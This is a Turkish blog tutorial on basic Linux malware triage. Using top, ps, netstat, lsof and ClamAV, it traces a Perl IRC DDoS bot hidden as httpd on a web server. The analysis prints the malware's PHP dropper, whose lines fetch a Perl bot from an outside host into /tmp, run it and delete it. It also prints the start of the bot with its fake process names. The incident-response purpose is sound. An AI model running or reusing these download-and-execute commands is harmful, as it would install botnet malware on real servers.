

# Basit Malware Analizi (Linux)

written by Mert SARICA | 5 October 2010

Zararlı yazılımlar Windows işletim sisteminden mi ibaret ? Tabii ki hayır özellikle botnet ağının parçası olan zombi sunucuların internette güvenlik yaması yüklenmemiş web uygulamalarını istismar etmek için taradığı günümüzde, Linux sunucu kullanımının Windows sunucu kullanımına kıyasla daha yüksek olması, Linux işletim sistemleri üzerinde çalışan zararlı yazılımların sayısında artışa neden olmaktadır.

Bugünkü yazımda üzerinde zararlı yazılım çalıştığından şüphe ettiğiniz bir Linux web sunucusu (veya masa üstü) üzerinde çalıştırabileceğiniz bir kaç basit komut ile nasıl zararlı yazılım hakkında bilgi edinebileceğinizden kısaca ve basitçe bahsedeceğim.

Çoğunlukla üzerinde zararlı yazılım çalışan bir işletim sisteminin stabilitesi bozulduğunda yüksek miktarda hafıza ve/veya CPU tüketimine neden olmaktadır.

Örnek olarak üzerinde zararlı yazılım çalıştığından şüphe duyduğumuz bir Ubuntu dağıtımına göz atalım. (İnceleme öncesine trojan tarafından kullanılan irc sunucularına ait alan adları HOSTS dosyasına 192.168.1.3 IP adresini çözümleyecek şekilde tanımlanmıştır.)

Yüksek CPU tüketiminden şüphe ettiğimiz bir Linux sistem üzerinde "top" komutu ile sistem üzerinde çalışan programların/komutların ne kadar CPU tükettiğini listeleyebiliriz.

```
top - 20:08:13 up 44 min, 4 users, load average: 1.20, 0.65, 0.29
Tasks: 76 total, 2 running, 73 sleeping, 0 stopped, 1 zombie
Cpu(s): 79.1%us, 20.9%sy, 0.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 510476k total, 186296k used, 324180k free, 11460k buffers
Swap: 409616k total, 0k used, 409616k free, 135948k cached
```

PID	USER	PR	NI	UIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
12457	www-data	20	0	5928	3776	1216	R	98.0	0.7	3:27.39	perl
13066	root	20	0	2412	1108	872	R	0.3	0.2	0:00.03	top
1	root	20	0	3052	1892	572	S	0.0	0.4	0:02.02	init
2	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	kthreadd
3	root	RT	-5	0	0	0	S	0.0	0.0	0:00.00	migration/0
4	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	ksoftirqd/0
5	root	15	-5	0	0	0	S	0.0	0.0	0:00.01	events/0
6	root	15	-5	0	0	0	S	0.0	0.0	0:00.04	khelper
12	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	async/mgr
202	root	15	-5	0	0	0	S	0.0	0.0	0:00.41	kblockd/0
204	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	kacpid
205	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	kacpi_notify
322	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	ata/0
323	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	ata_aux
327	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	ksuspend_usbd
333	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	khudd
336	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	kseriod
368	root	15	-5	0	0	0	S	0.0	0.0	0:00.00	khpsbpkt

Ekran görüntüsünden görüleceği üzere www-data kullanıcısı tarafından çalıştırılan perl programı %98 CPU tüketmektedir. www-data kullanıcısı, perl komutunun web sunucusu tarafından çalıştırıldığına dair bize ipucu vermekte fakat bu komutun hangi klasör içinden çalıştırıldığına dair bilgi vermediği için araştırmamıza devam etmemiz gerekmektedir.

Sistem üzerinde çalışan programları "ps ax" komutu ile (normal şartlarda kullanıcı bilgisinide içermesi nedeniyle "ax" yerine "aux" parametrelerinin kullanılmasını öneriyorum) çalışan işlemleri (process) listelettiğimizde "top" komutunun çıktısında en üstte yer alan 12457 ID'li perl programının burada "/usr/bin/httpd" olduğunu görüyoruz.

```
5272 ?      S      0:00 hald-addon-storage: no polling on /dev/fd0 because it
5275 ?      S      0:01 hald-addon-storage: polling /dev/hdc (every 2 sec)
5289 ?      Ss     0:00 /usr/bin/system-tools-backends
5329 tty1    Ss     0:00 /bin/login --
5346 tty1    S+     0:00 -bash
5763 tty5    S      0:00 -bash
5904 tty5    S+     0:00 iptraf
5988 tty4    S      0:00 -bash
6757 tty2    S+     0:00 -bash
8751 ?      Ss     0:00 dhclient3 -e IF_METRIC=100 -pf /var/run/dhclient.eth0
12430 ?     Ss     0:00 /usr/sbin/apache2 -k start
12439 ?     S      0:00 /usr/sbin/apache2 -k start
12441 ?     S      0:00 /usr/sbin/apache2 -k start
12442 ?     S      0:00 /usr/sbin/apache2 -k start
12443 ?     S      0:00 /usr/sbin/apache2 -k start
12444 ?     S      0:00 /usr/sbin/apache2 -k start
12445 ?     S      0:00 /usr/sbin/apache2 -k start
12454 ?     Z      0:00 [sh] <defunct>
12457 ?     R      16:11 /usr/sbin/httpd
13133 ?     S      0:00 /usr/sbin/httpd
14624 ?     S      0:00 /usr/sbin/apache2 -k start
14627 ?     Z      0:00 [sh] <defunct>
14630 ?     R      0:03 /usr/local/apache/bin/httpd -DSSL
14636 tty4    R+     0:00 ps ax
root@bt:~# _
```

Bir kaç satır üste baktığımızda sistem üzerinde apache2'nde çalıştığı görülmektedir. Hem apache2 ve hem httpd sistemimiz üzerinde çalışıyor ve iki farklı komut (top ve ps) tek bir PID (process id) için iki farklı programı işaret ettiği için alarm çanlarını çalabiliriz çünkü bu sistem üzerinde birşeylerin kendini gizlemeye çalıştığını açıkça işaret ediyor.

Araştırmamıza devam ederek sistem üzerinde öncelikle TCP protokolüne ait açık ağ bağlantı noktalarını ve durumlarını "netstat -ant" komutu ile listeliyoruz. (Normal şartlarda netstat programı tarafından desteklenen tüm protokollere ait açık ağ bağlantı noktalarının listelenmesi için "netstat -an" komutunu kullanmanızı öneriyorum.)

```

13066 root      20   0  2412 1108  872 R  0.3  0.2   0:00.09 top
   1 root      20   0  3052 1892  572 S  0.0  0.4   0:02.02 init
   2 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 kthreadd
   3 root      RT  -5     0   0     0 S  0.0  0.0   0:00.00 migration/0
   4 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 ksoftirqd/0
   5 root      15  -5     0   0     0 S  0.0  0.0   0:00.01 events/0
   6 root      15  -5     0   0     0 S  0.0  0.0   0:00.04 khelper
  12 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 async/mgr
 202 root      15  -5     0   0     0 S  0.0  0.0   0:00.41 kblockd/0
 204 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 kacpid
 205 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 kacpi_notify
 322 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 ata/0
 323 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 ata_aux
 327 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 ksuspend_usbd
 333 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 khubd
 336 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 kseriod
 368 root      15  -5     0   0     0 S  0.0  0.0   0:00.00 khpsbpkt
root@bt:/bot# netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:80              0.0.0.0:*                LISTEN
tcp        0      0 192.168.2.129:46075    192.168.1.3:6667        ESTABLISHED
tcp        0      1 192.168.2.129:40479    207.46.170.123:81      SYN_SENT
tcp        0      0 192.168.2.129:80      192.168.2.1:50019      ESTABLISHED
root@bt:/bot# _

```

Yukarıdaki ekran görüntüsünde, 192.168.2.129 IP adresine sahip olan sistemimiz 6667 numaralı bağlantı noktası üzerinden 192.168.1.3 IP adresi ile haberleştiğini görüyoruz. 6667-6669 bağlantı noktaları çoğunlukla IRC (internet relay chat) sohbet sunucuları tarafından kullanılmaktadır. Bu bağlantı noktası ile gerçekleşen haberleşme bize sistem üzerinde çalıştığından şüphe ettiğimiz zararlı yazılımın DDOS botu olma ihtimalini güçlendiriyor.

Sistemimiz üzerindeki açık dosya ve soketlerin listesini görmek için "lsof" komutundan faydalanabiliriz. Bu komut sayesinde 12457 PID'li şüpheli programın hangi dosyalara eriştiğini ve soketleri kullandığını listeliyoruz.

```

perl      12457 www-data mem    REG    8,1   149332 320346 /lib/tls/i686/cmov/libm
-2.8.90.so
perl      12457 www-data mem    REG    8,1     9676 320344 /lib/tls/i686/cmov/libd
l-2.8.90.so
perl      12457 www-data mem    REG    8,1    21940 263442 /usr/lib/perl/5.10.0/au
to/Socket/Socket.so
perl      12457 www-data mem    REG    8,1    17812 263251 /usr/lib/perl/5.10.0/au
to/IO/IO.so
perl      12457 www-data mem    REG    8,1   113252 310709 /lib/ld-2.8.90.so
perl      12457 www-data 0r    CHR    1,3             6732 /dev/null
perl      12457 www-data 1w   FIFO    0,6             63584 pipe
perl      12457 www-data 2w   REG    8,1    15262 479317 /var/log/apache2/error.
log
perl      12457 www-data 3u   IPv4   63534          TCP *:www (LISTEN)
perl      12457 www-data 4r   FIFO    0,6             63544 pipe
perl      12457 www-data 5w   FIFO    0,6             63544 pipe
perl      12457 www-data 6w   REG    8,1           0 479318 /var/log/apache2/other_
vhosts_access.log
perl      12457 www-data 7w   REG    8,1    14566 479316 /var/log/apache2/access
.log
perl      12457 www-data 8u   0000    0,7           0     15 anon_inode
perl      12457 www-data 9u   sock    0,4             63555 can't identify protocol
perl      12457 www-data 10u  IPv4   67852          TCP 192.168.2.129:46075->ir
c.indoforum.org:ircd (ESTABLISHED)
root@bt:~# lsof -p 12457_

```

En üst satırda yer alan ve perl'e ait olan socket kütüphanesi bize çalışan zararlı yazılımın Perl ile hazırlandığını, "ps ax" çıktısında yer alan "/usr/bin/httpd" komutunun sahte olduğunu açıkça ifade ediyor. Bununlada yetinmeyip çapraz kontrol adına "ls -al /usr/bin/httpd" komutu ile httpd programının sistem üzerindeki varlığını kolayca teyit edebiliriz.

```

5904 tty5      S+      0:00 iptraf
5988 tty4      S+      0:00 -bash
6757 tty2      S+      0:00 -bash
8751 ?         Ss      0:00 dhclient3 -e IF_METRIC=100 -pf /var/run/dhclient.eth0
12430 ?         Ss      0:00 /usr/sbin/apache2 -k start
12439 ?         S       0:00 /usr/sbin/apache2 -k start
12441 ?         S       0:00 /usr/sbin/apache2 -k start
12442 ?         S       0:00 /usr/sbin/apache2 -k start
12443 ?         S       0:00 /usr/sbin/apache2 -k start
12444 ?         S       0:00 /usr/sbin/apache2 -k start
12445 ?         S       0:00 /usr/sbin/apache2 -k start
12454 ?         Z       0:00 [sh] <defunct>
12457 ?         R       27:11 /usr/sbin/httpd
13133 ?         S       0:00 /usr/sbin/httpd
14624 ?         S       0:00 /usr/sbin/apache2 -k start
14627 ?         Z       0:00 [sh] <defunct>
14630 ?         R       11:03 /usr/local/apache/bin/httpd -DSSL
15081 tty3      S       0:00 -bash
18526 ?         Ss      0:00 /usr/sbin/clamd
20116 tty3      S+      0:00 less
20477 tty2      T       0:00 top
21662 tty1      R+      0:00 ps ax
root@bt:~# ls -al /usr/sbin/httpd
ls: cannot access /usr/sbin/httpd: No such file or directory
root@bt:~# _

```

"lsof" komutunun diğer bir güzel özelliği ise size ilgili program tarafından kullanılan CWD (current working directory) bilgisinde veriyor olmasıdır.

www-data kullanıcısı apache2 programının çalıştırılmasından sorumlu ise ve şüphelendiğimiz zararlı yazılım/komut bu kullanıcı tarafından çalıştırılmış ise bu durumda ikisinin tek ortak noktasının apache2 programı olduğu düşünüldüğünde "lsof | grep -i www-data | grep cwd " komutu ile www-data kullanıcısına ait bilgiler filtrelendiğinde karşımıza aşağıdaki tablo çıkıyor.

```
root@bt:~# lsof | grep -i www-data | grep cwd
apache2  12439  www-data  cwd      DIR      8,1    4096    442277 /var/www
/maker/info
apache2  12441  www-data  cwd      DIR      8,1    4096         2 /
apache2  12442  www-data  cwd      DIR      8,1    4096         2 /
apache2  12443  www-data  cwd      DIR      8,1    4096    442277 /var/www
/maker/info
apache2  12444  www-data  cwd      DIR      8,1    4096         2 /
apache2  12445  www-data  cwd      DIR      8,1    4096         2 /
perl    12457  www-data  cwd      DIR      8,1    4096         2 /
perl    13133  www-data  cwd      DIR      8,1    4096         2 /
apache2  14624  www-data  cwd      DIR      8,1    4096         2 /
perl    24984  www-data  cwd      DIR      8,1    4096         2 /
root@bt:~# _
```

En üst satırda yer alan ve apache2'ye ait olan CWD bilgisi (" /var/www/maker/info ") bize zararlı programın www-data kullanıcısı ile apache2 üzerinden çalıştırılmış olma ihtimalini oldukça güçlendiriyor.

ClamAV antivirüs yazılımı ile ilgili klasör üzerinde yaptığımız tarama sonuç veriyor ve trojanın bu klasör içinde bulunduğu netlik kazanıyor.

```
root@bt:~# clamscan /var/www/maker/info
LibClamAV Warning: *****
LibClamAV Warning: ***   The virus database is older than 7 days!   ***
LibClamAV Warning: ***   Please update it as soon as possible.   ***
LibClamAV Warning: *****
/var/www/maker/info/spd.php: PHP.Downloader-4 FOUND
/var/www/maker/info/rdl.txt: Trojan.IRCBot-1142 FOUND
/var/www/maker/info/robot.php: PHP.Shell FOUND

----- SCAN SUMMARY -----
Known viruses: 465915
Engine version: 0.94.2
Scanned directories: 1
Scanned files: 3
Infected files: 3
Data scanned: 0.12 MB
Time: 7.166 sec (0 m 7 s)
root@bt:~# _
```

```

<?php
echo exec('cd /tmp;curl -o http://goodfilter.net/maker/info/rdl.txt;perl rdl.tx
t;rm -rf rdl.txt');
echo exec('cd /tmp;GET http://goodfilter.net/maker/info/rdl.txt;perl rdl.txt;rm
-rf rdl.txt');
echo exec('cd /tmp;wget http://goodfilter.net/maker/info/rdl.txt;perl rdl.txt;r
m -rf rdl.txt');
echo exec('cd /tmp;fetch http://goodfilter.net/maker/info/rdl.txt;perl rdl.txt;
rm -rf rdl.txt');
echo exec('cd /tmp;lwp-download http://goodfilter.net/maker/info/rdl.txt;perl r
dl.txt;rm -rf rdl.txt');
echo passthru('cd /tmp;fetch http://goodfilter.net/maker/info/rdl.txt;perl rdl.
txt;rm -rf rdl.txt');
echo passthru('cd /tmp;wget http://goodfilter.net/maker/info/rdl.txt;perl rdl.t
xt;rm -rf rdl.txt');
echo passthru('cd /tmp;curl -o http://goodfilter.net/maker/info/rdl.txt;perl rd
l.txt;rm -rf rdl.txt');
echo passthru('cd /tmp;GET http://goodfilter.net/maker/info/rdl.txt.txt;perl rd
l.txt;rm -rf rdl.txt');
echo passthru('cd /tmp;lwp-download http://goodfilter.net/maker/info/rdl.txt;pe
rl rdl.txt;rm -rf rdl.txt');
echo system('cd /tmp;curl -o http://goodfilter.net/maker/info/rdl.txt;perl rdl.
txt;rm -rf rdl.txt');
@
"/var/www/maker/info/spd.php" 23 lines, 2058 characters

```

```

GNU nano 2.0.7 File: rdl.txt
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

my @ps = ("/usr/sbin/httpd","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd"$
$processo = $ps[rand scalar @ps];
my $linas_max='10';
my $sleep='3';
my @adms=("Deddi");
my @canais="#NetWork";
my @nickname = ("cRci1",
"cRci2",
"cRci3",
"cRci4",
"cRci5",
"cRci6",
"cRci7",
"cRci8",
"cRci9",
"cRci10",

[ Read 1095 lines ]
^G Get Help ^O WriteOut ^R Read File ^Y Prev Page ^K Cut Text ^C Cur Pos
^X Exit ^J Justify ^W Where Is ^U Next Page ^U UnCut Text ^T To Spell

```

Yukarıda yer alan son ekran görüntüsünde rdl.txt dosyasına herhangi bir metin editörü ile baktığımızda ise bunun bir ddos botu olduğu ve "ps ax" komutunun çıktısında zararlı yazılımın neden "/usr/bin/httpd" olarak görüldüğü anlaşılıyordu.

İnternet üzerinden bulmuş olduğum bir trojan (ddos saldırısı gerçekleştirme özelliğine sahip) ile oluşturmuş olduğum örnek bir senaryo üzerinden giderek sizlere basitte olsa Linux işletim sistemi üzerinde nasıl zararlı yazılım izi

sürebileceğinizi kısaca anlatmaya çalıştım, umarım faydalı olmuştur.

Bir sonraki yazıda görüşmek dileğiyle...